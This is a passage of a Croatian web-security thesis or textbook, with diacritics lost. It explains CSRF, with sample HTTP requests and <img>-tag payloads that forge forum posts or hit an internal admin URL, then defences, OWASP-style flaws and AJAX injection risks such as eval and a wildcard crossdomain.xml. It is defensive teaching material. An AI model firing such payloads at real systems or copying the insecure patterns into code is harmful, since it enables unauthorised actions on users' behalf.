ubaena u ranjivu aplikaciju, tada je mogunost za pronalazak prijavljene rtve znatno vea, slino
kao kod poveanja rizika koritenjem pohranjenog XSS napada. XSS ranjivost nije potrebna da bi
CSRF napad bilo mogue izvriti, ali je nuno napomenuti da je svaka aplikacija ranjiva na XSS
napad osjetljiva i na CSRF napad. CSRF napad moe eksploatirati XSS ranjivost da bi ukrao bilo
koje neautomatizirano poslane korisnike podatke koji postoje kao zatita od CSRF napada. Mnogi
crvi koriste kombinaciju obje tehnike.
Umjesto povrede povjerenja koje korisnik ima prema pojedinom posluitelju, CSRF napad vri
povredu povjerenja koje posluitelj ima prema korisniku. Obzirom da CSRF ukljuuje krivotvoreni
HTTP zahtjev, potrebno je razumjeti osnove protokola koji se koristi za komunikaciju korisnika i
posluitelja. Klijenti (Web preglednici) alju posluitelju HTTP zahtjeve, a posluitelj im odgovara
HTTP odgovorima. Zahtjev i pripadajui odgovor skupa tvore HTTP transakciju. Osnovni primjer
HTTP zahtjeva izgleda kao u ispisu 3.18.
Ispis 3.18. Primjer HTTP zahtjeva
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/1.4
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Zahtijevani URL u ovom primjeru je http://example.com/. Polja u zahtjevu su sljedea:

Prva linija definira HTTP metodu (GET), resurs koji se dohvaa (/, tj. osnovni
direktorij Web posluitelja) i verziju HTTP protokola (1.1);
Host polje koje definira posluitelj kojem se alje zahtjev;
User-Agent polje koje definira vrstu korisnikog preglednika koji je poslao zahtjev;
Accept polje koje definira tip podataka koji se oekuje u odgovoru.
Osim ovih, u zaglavlje zahtjeva se mogu umetnuti i druga polja, a posluiteljska skripta im moe
pristupiti kroz $_SERVER polje, npr. $_SERVER['HTTP_HOST'], $_SERVER['HTTP_USER_AGENT'] i
29
$_SERVER['HTTP_ACCEPT'].
Najjednostavniji tip CSRF napada koristi <img> HTML element da bi inicirao krivotvoreni zahtjev.
Da bi se lake shvatilo, zamislimo da je na prethodni zahtjev poslan sljedei odgovor, kao u ispisu
3.19.
Ispis 3.19. Primjer HTTP odgovora
HTTP/1.1 200 OK
Content-Length: 61
<html>
<img src="http://example.org/image.png" />
</html>
Kada preglednik vri interpretaciju primljenog HTML sadraja, poslati e GET zahtjev da bi
dohvatio dodatne resurse potrebne za prikaz stranice. Nakon interpretacije gornjeg odgovora,
preglednik e odaslati sljedei zahtjev, kao u ispisu 3.20.
Ispis 3.20. Primjer HTTP zahtjeva za dohvat slike
GET /image.png HTTP/1.1
Host: example.org
User-Agent: Mozilla/1.4
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Ovaj zahtjev je jednak zahtjevu koji je inicirao korisnik pristupom stranici. Slika 3.5 prikazuje nain
na koji CSRF napadi mogu iskoristiti ovaj nain rada preglednika.
Slika 3.5. Izvoenje CSRF napada
Da bi se bolje shvatio rizik CSRF napada, pogledajmo sljedei primjer. Jednostavan forum na adresi
http://forum.example.org daje formular za unos objave kao u ispisu 3.21.
Ispis 3.21. Jednostavan formular za unos objave na forumu
<form action="/post.php">
<p>Subject: <input type="text" name="subject" /></p>
<p>Message: <textarea name="message"></textarea></p>
<p><input type="submit" value="Add Post" /></p>
</form>
Ako korisnik unese foo kao naslov i bar kao poruku, HTTP zahtjev slian zahtjevu u ispisu 3.22 e
biti poslan (pretpostavljamo da se identifikator sjednice alje kao kolai).
30
Ispis 3.22. Primjer HTTP zahtjeva GET metodom

GET /post.php?subject=foo&message=bar HTTP/1.1
Host: forum.example.org
Cookie: PHPSESSID=123456789
Pogledajmo sada sljedei <img> HTML element u ispisu 3.23.

Ispis 3.23. HTML element slike koji implementira CSRF napad
<img src="http://forum.example.org/post.php?subject=foo&message=bar" />
Kada preglednik pokua dohvatiti sliku na navedenom URL-u, HTTP zahtjev e biti identian
onome u prolom primjeru, ukljuujui i slanje PHPSESSID kolaia sjednice. Jednostavnom
promjenom URL-a, napada moe modificirati naslov i tijelo poruke u bilo koju vrijednost pa ak i
XSS napad. Sve to napada treba napraviti jest ekati da rtva posjeti stranicu koja sadri ovaj kd,
a rtvin preglednik e uiniti sve ostalo u pozadini. rtva e vrlo vjerojatno biti potpuno nesvjesna
da se napad dogodio. Opasniji napadi mogu krivotvoriti zahtjev za kupnjom ili vriti
administrativne zadatke, ak i u lokalnoj mrei. Ukoliko promotrimo primjer gdje u lokalnoj mrei
imamo aplikaciju http://192.168.0.1/admin/ koja dozvoljava administrativnim korisnicima kontrolu
nad statusom radnika, moemo samo zamisliti to se sve moe uiniti ukoliko je korisnik prijavljen
na aplikaciju. Unato dobrom mehanizmu kontrole sjednice i injenici da se aplikaciji ne moe
pristupiti s vanjske mree, CSRF napad sve te zatite moe zaobii jednostavnim kdom kao u
ispisu 3.24.
Ispis 3.24. Primjer CSRF napada na posluitelj u lokalnoj mrei
<img src="http://192.168.0.1/admin/terminate_employee.php?employee_id=123"/>
Slika 3.6 prikazuje na koji nain se napad moe izvesti da bi se penetrirala inae sigurna lokalna
mrea.
Slika 3.6. Izvoenje CSRF napada na posluitelj u lokalnoj mrei
Najizazovnija karakteristika CSRF napada jest da legitiman korisnik alje zahtjev. Obzirom da nije
realno oekivati da Web stranice nee dozvoljavati element slike u svom HTML kdu, problem se
mora rjeavati pri prihvatu krivotvorenog zahtjeva. Osnovni problem je, naravno, detekcija
krivotvorenog zahtjeva. Jedan od naina detekcije je dodavanje anti-CSRF oznake u formulare.
Ukoliko se umjesto formulara za slanje poruke na forum.example.org koristi formular kao u ispisu
3.25, jednostavan CSRF napad kao u prethodnim sluajevima je eliminiran.
31
Ispis 3.25. Primjer formulara za sprjeavanje CSRF napada

<?php
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$_SESSION['token_timestamp'] = time();
?>
<form action="/post.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<p>Subject: <input type="text" name="subject" /></p>
<p>Message: <textarea name="message"></textarea></p>
<p><input type="submit" value="Add Post" /></p>
</form>
Kako je vidljivo u primjeru, kada korisnik poalje zahtjev za formularom, aplikacija generira novu
oznaku trenutne akcije, koju sprema u podatke o sjednici korisnika te ju umee u skriveno polje
formulara. Nakon to je zahtjev za post.php odaslan s novim parametrima, aplikacija
$_POST['token'] varijablu moe usporediti s $_SESSION['token'] varijablom. Osim toga, mogue je
implementirati i istek vremenske kontrole da bi se dodatno minimizirao rizik.
Kao jo jedan od naina za bolju kontrolu sjednice i sprjeavanje ove vrste napada, moemo
koristiti i metodu otiska prsta. U toj metodi se za generiranje tajne oznake (otiska prsta) kao u
prethodnom primjeru, moe koristiti dodatne opcije identifikacije korisnika. Aplikacija kroz
informacije
iz
$_SERVER['HTTP_USER_AGENT'],
$_SERVER['HTTP_REFERER']
i
$_SERVER['REMOTE_ADDR'] moe generirati specifine podatke za pojedinog korisnika te e
napada u ovom sluaju morati aplikaciji pokazati da mu je poznat identifikator sjednice, tajna
oznaka, te e morati generirati isto zaglavlje zahtjeva za slanje poruke kao kad je generiran
formular, te koristiti istu IP adresu. Meutim, treba obratiti panju da se varijabla
$_SERVER['REMOTE_ADDR'] vrlo rijetko ili gotovo nikada ne koristi u tu svrhu. Razlog je
jednostavan. Mnogo je velikih pruatelja Internet usluga koji korisnicima u kratkim vremenskim
razmacima mijenjaju IP adresu, to bi dovelo do este automatske odjave velikog broja korisnika,
jer ih aplikacija ne bi prihvatila kao autorizirane korisnike. To je sa strane poslovanja aplikacije
neprihvatljivo [28].
Pri izgradnji obrane od CSRF napada, potrebno se fokusirati i na eliminaciju XSS ranjivosti u
aplikaciji obzirom da se njihovom eksploatacijom moe zaobii veina mehanizama obrane od
CSRF napada. Aplikacije moraju osigurati da se ne oslanjaju iskljuivo na korisnike podatke ili
oznake koje se automatski alju od strane preglednika. Jedino rjeenje je koritenje prilagoene
oznake koju preglednik nee zapamtiti pa ju nee niti automatski slati kod CSRF napada. Sljedee
strategije obrane trebale bi biti prisutne u svim aplikacijama:
osigurati da ne postoje XSS ranjivosti u aplikaciji;
umetnuti prilagoene nasumine oznake u svaki formular i URL koji nee biti automatski
podnesen od strane preglednika, npr. kao u ispisu 3.26.
Ispis 3.26. Umetanje nasumine oznake u formular
<form action="/transfer.do" method="post">

<input type="hidden" name="8438927730" value="43847384383">
</form>
Zatim je potrebno verificirati da je podnesena oznaka ispravna za tekueg korisnika. Ovakve

oznake mogu biti jedinstvene za pojedinu funkciju ili stranicu za tekueg korisnika, ili
jedinstvene za tekuu sjednicu. to je oznaka vie usmjerena na pripadnu funkciju ili
pripadni skup podataka, zatita e biti jaa, ali e takoer biti kompliciranije stvaranje i
pohranjivanje oznake;
32
za osjetljive podatke ili transakcije vrijednostima, dobro je izvesti reautentifikaciju ili

potpisivanje transakcije da bi se osigurala izvornost zahtjeva. Potrebno je ak razmotriti
slanje elektronike poruke ili telefonski poziv korisniku ukoliko se radi o sumnjivoj
aktivnosti, da bi se korisnika obavijestilo i eventualno ponitila transakcija;
u sluaju da se vri procesiranje osjetljivih podataka, preporueno je koristiti POST metodu

zahtjeva umjesto GET metode, jer ju je tee falsificirati.
Ovi prijedlozi e viestruko smanjiti mogunost eksploatacije CSRF ranjivosti, ali napredni napadi
mogu zaobii veinu navedenih mehanizama zatite. Stoga je najbolja tehnika zatite koritenje
jedinstvenih oznaka i eliminacija svih XSS ranjivosti u aplikaciji. Meutim, vidjeti e se u nekim od
kasnijih primjera, da niti ove metode nisu uinkovita protiv vjetog napadaa.
3.1.6. Isputanje informacija i neispravno rukovanje pogrekama

Aplikacije mogu nenamjerno ispustiti informacije o svojoj konfiguraciji, internim funkcijama ili
povrijediti privatnost kroz razne pogreke, to se naziva isputanjem informacija i neispravnim
rukovanjem pogrekama (engl. information leakage and improper error handling) Takoer, mogue
je isputanje informacija o trenutnom stanju kroz duljinu obrade zahtjeva ili kroz razliite izlaze kao
odgovore na razliite ulaze, kao to je ispis istog teksta pogreke uz razliite kdne brojeve
pogreke. Web aplikacije esto isputaju informacije o internom stanju aplikacije kroz detaljne
ispise o pronaenim pogrekama. Takoer, esto se generirane poruke o pogrekama prikazuju
korisniku. Vrlo esto te su poruke korisne napadau, jer otkrivaju detalje implementacije ili
informacije korisne u potrazi za ranjivostima. Nekoliko je tipinih primjera:
detaljno rukovanje grekama, gdje ispis o pogrekama daje previe informacija, kao to je
trag izvravanja, neispravni SQL upiti i druge informacije o pronaenim pogrekama;
funkcije koje daju razliite rezultate ovisno o razliitim ulazima. Primjerice, dostava istog
korisnikog imena uz razliite zaporke funkciji za prijavu trebala bi vratiti istu poruku
ukoliko korisnik ne postoji ili je zaporka neispravna. Meutim, velik broj sustava generira
razliite pogreke.
Razvijatelji bi u fazi testiranja trebali navesti aplikaciju da generira ispise o pogrekama te ih

kontrolirati. Aplikacije koji nisu testirane na ovaj nain e gotovo sigurno generirati neoekivane
ispise o pogrekama. Aplikacije bi takoer trebale ukljuivati standardne metode rukovanja
pogrekama da bi se zatitile od neeljenog isputanja informacija napadaima. Spreavanje
isputanja informacija zahtjeva disciplinu. Sljedee se pokazalo uspjenim u praksi:
osigurati da cijeli razvojni tim dijeli zajedniki pristup rukovanju pogrekama;
onemoguiti ili limitirati detaljne ispise o pogrekama. Tonije, krajnjim korisnicima ne

dopustiti uvid u informacije o grekama, tragu izvravanja i slino;
osigurati da sigurni putovi koji imaju vie ishoda vraaju sline ili identine poruke o
pogreci u slinom vremenskom odmaku. Ukoliko to nije mogue, potrebno je razmotriti
nasumian vremenski odmak za sve zahtjeve, da bi se napadaa onemoguilo u
zakljuivanju na bazi trajanja pojedine obrade.
3.1.7. Razbijena autentifikacija i kontrola sjednice

Ispravna autentifikacija i kontrola sjednice su kritini za sigurnost Web aplikacije. Pogreke u ovom
segmentu nazivaju se razbijena autentifikacija i kontrola sjednice (engl. broken authentication and
session management), a esto dovode do neuspjeha u zatiti korisnikih podataka i oznaka sjednice,
to moe dovesti do kraa korisnikih ili administrativnih rauna, potkopavanja kontrola
autorizacije i odgovornosti, te do povrede privatnosti.
33
Pogreke u osnovnom mehanizmu autentifikacije nisu neuobiajene, ali su slabosti ee izraene

kroz pratee autentifikacijske funkcije kao to je odjava, izmjena zaporke, vremensko ogranienje,
pohrana kolaia, upotreba tajnog pitanja ili izmjena korisnikog rauna.
Autentifikacija se oslanja na sigurnu komunikaciju i pohranu. Potrebno je osigurati da je SSL jedina
opcija za sve autentificirane dijelove aplikacije te da su svi podaci o korisnicima pohranjeni u
kriptiranom obliku. Sprjeavanje pogreaka autentifikacije zahtijeva oprezno planiranje. Meu
najvanijim preporukama su:
koritenje jednog mehanizma autentifikacije s primjerenom snagom;
koritenje postojeih mehanizama kontrole sjednice bez prilagodbe kolaia;
stvaranje nove sjednice nakon uspjene autentifikacije;
osigurati da svaka stranica ima vezu na funkciju odjave, te da ta funkcija unitava sve
podatke o sjednici na posluiteljskoj strani, kao i podatke o kolaiima na strani klijenta;
osigurati da su popratne funkcije autentifikacije (upiti i odgovori, ponitenje zaporke)

jednako kontrolirane kao i glavna funkcija, te da ne sadre pogreke;
ne izlagati podatke o autentifikaciji korisnika u URL polju ili u sistemskim zapisima.
3.1.8. Nesigurna kriptografska pohrana

Zatita osjetljivih podataka kriptografskim funkcijama postala je jedan od bitnih dijelova veine
Web aplikacija, a u sluaju da se zatita ne vri, javlja se ranjivost koju nazivamo nesigurna
kriptografska pohrana (engl. insecure cryptographic storage). Aplikacije koje preesto koriste
enkripciju sadre loe dizajniranu kriptografiju ili ju koriste na krivi nain. Ovi problemi mogu
dovesti do razotkrivanja osjetljivih podataka ili do prekraja u usklaivanju podataka. Najei
problemi su:
nedostatak enkripcije osjetljivih podataka;
koritenje interno razvijenih funkcija enkripcije;
nesigurna upotreba snanih algoritama;
nastavak upotrebe poznato slabih algoritama (MD5, SHA-1, RC4...);
enkripcija kljueva i njihova pohrana na nezatiene lokacije.
Najvaniji aspekt je osigurati da svi podaci koji trebaju biti enkriptirani, jesu zaista enkriptirani.
Osim toga, potrebno je osigurati da je enkripcija ispravno implementirana. Obzirom da postoji
mnogo naina za neispravno koritenje kriptografije, potrebno je drati se sljedeih preporuka:
nekvalificirano osoblje ne smije razvijati kriptografske algoritme. Preporueno je koristiti

samo poznate javne algoritme kao to su AES, RSA kriptografija javnim kljuem, SHA-256
i slino;
ne koristiti slabe algoritme kao MD5 i SHA1;
kljueve generirati u sigurnom okruenju te ih oprezno pohranjivati;
osigurati da vjerodajnice (engl. credentials), kao to su vjerodajnice baze podataka budu

sigurno kriptirane i nedostupne lokalnim ili udaljenim korisnicima;
osigurati da podatke koji su kriptirani i pohranjeni na disku nije lako dekriptirati.
Ukoliko se ipak koriste slabi algoritmi, dodatnu panju treba pridijeliti protokolu zatite koji se
koristi. Spomenuti algoritmi nisu slaba karika u zatiti ukoliko se ispravno koriste u svrhe za koje su
namijenjeni.
34
3.1.9. Nesigurne komunikacije

esto se dogaa da aplikacije ne zatite mreni promet kada je potrebno zatititi osjetljive
komunikacije pa se u aplikacijama pojavljuje ranjivost pod nazivom nesigurne komunikacije (engl.
insecure communications). Enkripcija (najee SSL) mora biti koritena za sve autentificirane
veze, posebice kod Web aplikacija dostupnih s Interneta, ali i za pozadinske komunikacije. Ukoliko
to nije sluaj, aplikacija izlae identifikator sjednice. Dodatno, enkripciju je potrebno koristiti
uvijek kad se prenose osjetljive informacije. Ukoliko se ne osigura ispravna enkripcija osjetljivih
komunikacija, napada koji moe presretati mreni promet bit e u mogunosti pristupiti
konverzaciji, kao i osjetljivim informacijama koje se njome prenose. Koritenje SSL-a za
komunikaciju s krajnjim korisnicima je od velike vanosti, obzirom da e krajnji korisnici esto
koristiti nesigurne mrene kanale za pristup aplikaciji. Obzirom da HTTP promet ukljuuje podatke
o autentifikaciji u svakom zahtjevu, sav autentificirani promet potrebno je zatititi SSL-om, a ne
samo zahtjev za prijavu. Enkripcija komunikacije s pozadinskim posluiteljima je takoer bitna.
Iako su mree na kojima se odvija ova komunikacija uglavnom sigurnije od javnih, podaci koji se
prenose su obino osjetljiviji.
Najvanija zatita je koritenje SSL-a na svim autentificiranim vezama ili kad god se prenose
osjetljivi podaci. Postoji mnogo detalja vezanih uz ispravnu konfiguraciju SSL-a za Web aplikacije
pa je vano razumjeti i analizirati okruenje aplikacije koja se titi:
koristiti SSL za sve autentificirane veze ili kad god se prenose osjetljivi podaci kao to su
korisnike informacije, podaci o kreditnim karticama, kao i ostale privatne informacije;
osigurati da komunikacija izmeu elemenata u arhitekturi, kao to su posluitelji i baze

podataka, bude prikladno zatiena ve na transportnom sloju.
3.1.10. Neuspjena zatita pristupa URL-u

Ukoliko se pristup resursima ne ogranii, u aplikacijama se pojavljuje ranjivost neuspjene zatite
pristupa URL-u (engl. failure to restrict URL access). esto, jedini nain zatite URL-a jest da veze
na njega nisu dostupne neautoriziranim korisnicima. Meutim, vjeti napadai mogu biti u
mogunosti pronai nain da pristupe tim stranicama, pozovu njihove funkcije ili vide podatke u
njima. Sigurnost kroz nejasnou ili nepoznatost nije dovoljna da bi se zatitile osjetljive funkcije i
podaci u aplikaciji. Kontrole prava pristupa moraju se vriti prije nego je dozvoljen pristup
osjetljivim funkcijama. Osnovna metoda napada naziva se prisilan pregled (engl. forced browsing)
koji obuhvaa pogaanje veza ili pronalazak nezatienih stranica grubom silom. Aplikacije esto
dozvoljavaju razvoj kda za kontrolu pristupa, to moe dovesti do kompleksnoga modela provjere
koji je teak za razumjeti. Time se javlja mogunost pogreke i proputanja zatite odreene
stranice. esti primjeri su:
skrivene ili posebne stranice koje se nude samo privilegiranim korisnicima nisu zatiene,
ve im se moe pristupiti ukoliko neprivilegirani korisnik zna da postoje;
aplikacije esto dozvoljavaju pristup skrivenim datotekama, kao to su sistemski izvjetaji

ili konfiguracijske datoteke, vjerujui da je neznanje o njihovom postojanju dovoljno
sigurno;
kd koji osigurava kontrolu pristupa, ali je zastario, je nedovoljan;
kd koji evaluira privilegije korisnika na klijentu, a ne na posluitelju ni u kom sluaju nije

ispravan nain kontrole.
Jedan od naina dobre zatite pristupa URL-ima jer stvaranje matrice pristupa u kojoj se
specificirane uloge korisnika i funkcije kojima je mogue pristupiti. Web aplikacije moraju
osigurati kontrolu pristupa za svaki URL i svaku poslovnu funkciju. Nije dovoljno kontrolu pristupa
vriti na prezentacijskom sloju, a poslovnu logiku ostaviti nezatienu. Takoer, nije dovoljno
35
jednom tijekom procesa utvrditi da li je korisnik autoriziran ve je provjeru potrebno ponoviti na

svakom koraku. Ukoliko je suprotno, napada moe preskoiti korak provjere i krivotvoriti
parametre potrebne za naredni korak. Meu najvanijim preporukama za zatitu pristupa URL-u su:
nametnuti matricu kontrole pristupa kao dio poslovnog modela, arhitekture i dizajna
aplikacije;
osigurati da su svi URL-ovi i poslovne funkcije zatieni ispravnim mehanizmom kontrole

pristupa koji provjerava ulogu korisnika i njegove mogunosti prije nego to obrada
zapone. Ukoliko se radi o procesu koji se sastoji od vie koraka, provjeru je potrebno
izvriti na svakom koraku;
izvesti penetracijsko testiranje prije isporuke aplikacije, kako bi se osiguralo da aplikacija ne

moe biti zloupotrebljena od strane napadaa;
ne pretpostavljati da korisnici nee biti svjesni skrivenih URL-ova ili funkcija. Uvijek
osigurati da e administrativne i ostale funkcije visoke privilegije biti dobro zatiene;
zabraniti pristup svim tipovima datoteka s kojima aplikacija ne barata. U idealnom sluaju,
ovo filtriranje treba pratiti pristup prihvaanja poznatih valjanih pravila.
3.2. Tipine ranjivosti AJAX aplikacija

Tipine ranjivosti koje se javljaju kod AJAX, tonije veine Web 2.0 aplikacija, vezane su uz
JavaScript ili druge tehnologije koje se koriste [30,31].
3.2.1. Nepravilna serijalizacija JavaScript objekata

JavaScript podrava objektno orijentirane tehnike programiranja te sadri mnogo ugraenih
objekata, ali i dozvoljava stvaranje korisnikih objekata. Novi objekt moe biti stvoren kao u ispisu
3.27.
Ispis 3.27. Stvaranje novog objekta u JavaScript-u
New object()
Takoer, novi objekt moe se stvoriti i kdom kao u ispisu 3.28.

Ispis 3.28. Stvaranje novog objekta izravnom definicijom
message = {
from : "john@example.com",
to : "jerry@victim.com",
subject : "I am fine",
body : "Long message here",
showsubject : function(){document.write(this.subject)}
};
Prikazan je objekt jednostavne poruke koji sadri polja potrebna za elektroniku poruku. Ovaj
objekt se moe serijalizirati pa ga JavaScript kd moe koristiti. Programer ga moe pridjeliti novoj
varijabli koju e procesirati, ili izvriti evaluaciju funkcijom eval(). Ukoliko napada poalje liniju
subject koja sadri zloudni skriptni kd, tada Web preglednik postaje rtva XSS napada.
JavaScript objekt moe sadrati podatke, ali i metode. Nepravilna serijalizacija JavaScript objekata
moe otvoriti sigurnosnu rupu koja se moe eksploatirati vjetim umetanjem zloudnog kda.
3.2.2. Ubacivanje JSON parova

JSON je jednostavan i efektan format razmjene podataka. Serijalizacija JSON-a je efektan
mehanizam u Web 2.0 aplikacijama te se esto koristi umjesto XML-a. U ispisu 3.29 je jednostavan
JSON objekt bookmarks s parom ime-vrijednost.
36
Ispis 3.29. Primjer JSON objekta "bookmarks"

{"bookmarks":[{"Link":"www.example.com","Desc":"Interesting link"}]}
Mogue je umetnuti zloudnu skriptu u polje Link ili polje Desc. Ukoliko se ovaj objekt umetne u
DOM i izvri, ponovno je preglednik rtva XSS napada.
3.2.3. Trovanje JavaScript polja

JavaScript polja su est objekt nad kojim se vri serijalizacija, jer je jednostavno prenosiv na
razliite platforme i jednostavan za koritenje u raznim jezicima. JavaScript polje se moe zatrovati
jednostavnim XSS napadom na klijentu. U ispisu 3.30 je dan primjer JavaScript polja u kojem se,
ukoliko nije ispravno provjereno, moe zatrovati posljednje mjesto u polju.
Ispis 3.30. Primjer JavaScript polja ranjivog na trovanje
new Array(Laptop, Thinkpad, T60, Used, 900$, It is great and I have
used it for 2 years)
Umetanje skripte umjesto vrijednosti posljednjeg mjesta u polju moe dovesti do njenog izvoenja.
3.2.4. Manipulacija XML toka

AJAX koristi XML podatke s raznih lokacija. Ti podaci obino izviru iz Web usluga baziranih na
SOAP, REST ili XML-RPC tehnologijama. Ove Web usluge esto podatke generiraju od tree
strane. Ukoliko napada moe doi do tih podataka i izmijeniti ih, onda u njih moe umetnuti i
zloudan kd.
Web preglednik koristi XML ralanjiva kojim obrauje dohvaeni XML tok. Ralanjiva moe
biti ranjiv na razliite tipove XML umetanja. Stoga je potrebno vriti valjanu provjeru XML
podataka u pregledniku da bi se ponovno smanjila mogunosti XSS napada.
3.2.5. Ubacivanje skripte u DOM

Prva etiri primjera rezultati su problema sa serijalizacijom. Kada je serijalizirani tok objekta
dohvaen u preglednik, JavaScript izvodi pozive metoda na DOM-u da bi izvrio izmjene i umetnuo
novi sadraj. To se moe izvriti pozivanjem funkcije eval(). Ukoliko se poziv izvri nad
nepouzdanim tokom podataka, preglednik postaje ranjiv na ubacivanje u DOM. Takoer, postoji
nekoliko document.*() poziva koji se mogu iskoristiti da bi se u DOM ubacio novi sadraj.
U ispisu 3.31 je dana linija JavaScript kda za ubacivanje novog sadraja u DOM.
Ispis 3.31. Primjer JavaScript kda za ubacivanje sadraja u DOM
Document.write(product-review);
Ukoliko Product-review varijabla dohvaena s tree strane sadri JavaScript kd, on e se izvriti.
3.2.6. Zaobilaenje politike istog izvora i povratna funkcija

AJAX pozivi ne mogu vriti zaobilaenje politike istog izvora, tonije ne mogu pristupati Web
stranicama na drugim domenama, meutim postoje naini na koje se ovo ogranienje moe zaobii,
to je opisano u narednim poglavljima.
Postoji mnogo Web usluga koje daju mogunost definiranja povratne funkcije za serijalizaciju
objekata. Programeri mogu koristiti ovaj mehanizam da bi integrirali Web usluge u preglednik.
Referenca na povratnu funkciju se moe prenesti tako da se tok odmah nakon dohvaanja moe
izvesti u pregledniku. Povratna funkcija stavlja dodatni teret na razvoj jer je potrebno izvriti
provjeru unutar preglednika. Namjerno ili ne, ukoliko nema ispravne provjere, ova usluga
premotene domene moe ubaciti zloudni sadraj u preglednik. Takoer, obzirom da se poziv
37
izvrava unutar trenutnog DOM konteksta, varijabla sjednice je takoer izloena napadu. Stoga
cijeli mehanizam zaobilaenja politike istog izvora treba kvalitetno testirati prije implementacije u
aplikaciju [40].
3.2.7. RSS i Atom ubacivanja

Grupni feed-ovi, RSS i Atom, su meu najpopularnijim nainima slanja novih informacija kroz
internet. esto nekoliko izvora informacija dijeli zajednike feed-ove.
Feed je XML dokument normiziranog formata koji moe koristiti bilo koja aplikacija ukoliko ga
zna ralanjivati. Web 2.0 aplikacije u komponentama unutar preglednika koriste feed-ove. Te
komponente obino vre AJAX pozive za dohvat sadraja.
Krajnji korisnik moe odabrati koje feed-ove eli vidjeti. Nakon dohvaanja, sadraj se ralanjuje i
ubacuje u DOM stablo. Ukoliko sadraj nije prethodno provjeren, u DOM se moe ubaciti zloudan
kd to ponovno dovodi do XSS napada ili krae sjednice.
3.2.8. Bomba jednog klika

Web 2.0 aplikacije ne moraju biti kompromitirane odmah, ve je mogue izvriti ubacivanje kda
ovisno o dogaaju. Zloudna veza s onclick atributom moe se ubaciti JavaScript-om. U tom
trenutku preglednik sjedi na bombi koja eka ispravni dogaaj od strane korisnika koji e dovesti do
zloudne akcije. Eksploatacija uspijeva ukoliko je pojedini dogaaj okinut klikom na vezu ili gumb.
Ovo moe takoer dovesti do krae sjednice.
Ponovno, do otvaranja sigurnosnog propusta je dolo zbog prihvaanja informacija od strane
nepovjerljivog izvora bez ispravne provjere.
3.2.9. Zaobilaenje politike istog izvora koritenjem Flash-a

Mogue je izvriti GET i POST zahtjeve od strane JavaScript-a unutar preglednika koritenjem
AJAX suelja kao dodatka na Flash. Ovo takoer omoguuje pozive s zaobilaenja politike istog
izvora, tako da se poziv moe odaslati na bilo koju domenu. Da bi se izbjeglo sigurnosne propuste,
ovaj dodatak Flash-u implementira politiku pristupa drugim domenama. Politika se konfigurira
postavljanjem crossdomain.xml datoteke u korijenski direktorij domene. Ukoliko je datoteka loe
konfigurirana, to je est sluaj, otvara se mogunost zaobilaenjem politike istog izvora. U ispisu
3.32 je dan primjer loe konfigurirane XML datoteke.
Ispis 3.32. Loe konfigurirana crossdomain.xml datoteka
<cross-domain-policy> <allow-access-from domain=* /> </cross-domain-policy>
U ovom sluaju je mogue izvriti zaobilaenje politike istog izvora putem Flash-a prema bilo kojoj
domeni [34,35,36].
3.3. Inspekcija klijentskog kda

U asinkronom okruenju, aplikacija nema mnogo osvjeavanja cjelokupne stranice. Rezultat toga je
da su mnogi resursi koje bi se moglo napasti uglavnom skriveni od krajnjeg korisnika. Tri su
osnovna izazova da bi se shvatilo kako aplikacija radi:
otkrivanje skrivenih poziva Imperativ je otkriti XMLHttpRequest pozive koje generira

uitana stranica;
identifikacija posluiteljskih resursa Tradicionalne metode puzanja (engl. crawling), tj.

otkrivanja resursa koje posluitelj koristi u prikazu stranica nisu pretjerano uinkovite
ukoliko aplikacija koristi AJAX. Umjesto da se dohvaa svaka pojedina stranica koristei
veze koje ih povezuju, potrebna je i inspekcija JavaScript kda;
38
otkrivanje logike aplikacije U aplikacijama koje koristite veu koliinu JavaScript kda,
potrebno je razlikovati logiku aplikacije vezanu uz pojedini dogaaj. Svaka datoteka s
JavaScript kdom moe sadrati mnotvo funkcija, ali pojedini dogaaj moe koristiti samo
mali dio kda iz svake od datoteka.
U nastavku e biti prikazano kako koritenjem Firefox preglednika i njegovih dodataka moemo
detaljno prouiti aplikaciju sa strane klijentskog kda.
Kako je reeno, aplikacija moe prikazati korisniku samo jednu stranicu i iz nje vriti viestruke
pozive prema posluitelju da bi stvorila konani izgled. Pozivi mogu dohvaati sadraj ili novi
JavaScript kd. Koritenjem dodatka Firebug za Firefox preglednik, moemo identificirati
XMLHttpRequest pozive. Ovakvom analizom aplikacije, mogue je identificirati ranjive interne
pozive aplikacije, upite prema bazi podataka ili zahtjeve slane POST metodom.
Ukoliko se vri ozbiljna provjera aplikacije, potrebno je identificirati sve posluiteljske resurse koji
se koriste. Kako je reeno, tradicionalne metode otkrivanja resursa koje posluitelj koristi u prikazu
stranica nisu pretjerano uinkovite u ovom sluaju. Naime, AJAX aplikacija pozive vri koritenjem
XMLHttpRequest objekta pa se veze u stranici ne nalaze u standardnom obliku ( <a
href=www.prva.hr />) ve kao dio JavaScript kda. Stoga je najbolji nain pregled JavaScript
kda i identifikacija XMLHttpRequest poziva. Veze se mogu pojaviti na stranicama u razliitim
oblicima, na primjer:
<a href="#" onclick="getMe(); return false;">go1</a><br>
<a href="/hi.html">go2</a><br>
ili izravno u JavaScript kdu. Prva veza e izvriti pozivanje getMe() funkcije koja moe izgledati
kao u ispisu 3.33. Ta funkcija se moe nalaziti i u odvojenoj datoteci.
Ispis 3.33. Primjer getMe() funkcije za izvravanje AJAX poziva
function getMe()
{
var http;
http = new XMLHttpRequest();
http.open("GET", "hi.html", true);
http.onreadystatechange = function()
{
if (http.readyState == 4) {
var response = http.responseText;
document.getElementById('result').innerHTML = response;
}
}
http.send(null);
}
Prikazana funkcija vri poziv za dohvaanje hi.html stranice. Koritenjem Chickenfoot dodatka
Firefox pregledniku i jednostavne skripte, mogue je automatski simulirati klikove, tako da se
uspjeno dohvate svi onclick dogaaji.
Ipak, da bi se shvatila logika aplikacije, potrebno je prouiti svaki od moguih dogaaja. Jedini
nain je prolazak kroz kd i promatranje njegovog izvravanja. Za debug-iranje se ponovno moe
iskoristiti Firebug dodatak. On nam omoguuje detaljnu inspekciju kda, postavljanje toaka
prekida, inspekciju trenutnog DOM stabla i trenutnih vrijednosti varijabli [15,20,27,60,61].
3.3.1. Zatita kda u klijentu

Ono to se esto namee kao problem kod JavaScript kda jest njegova izloenost napadau kako je
opisano u prethodnom poglavlju. Obzirom da se kd izvrava u pregledniku on mora biti dostupan
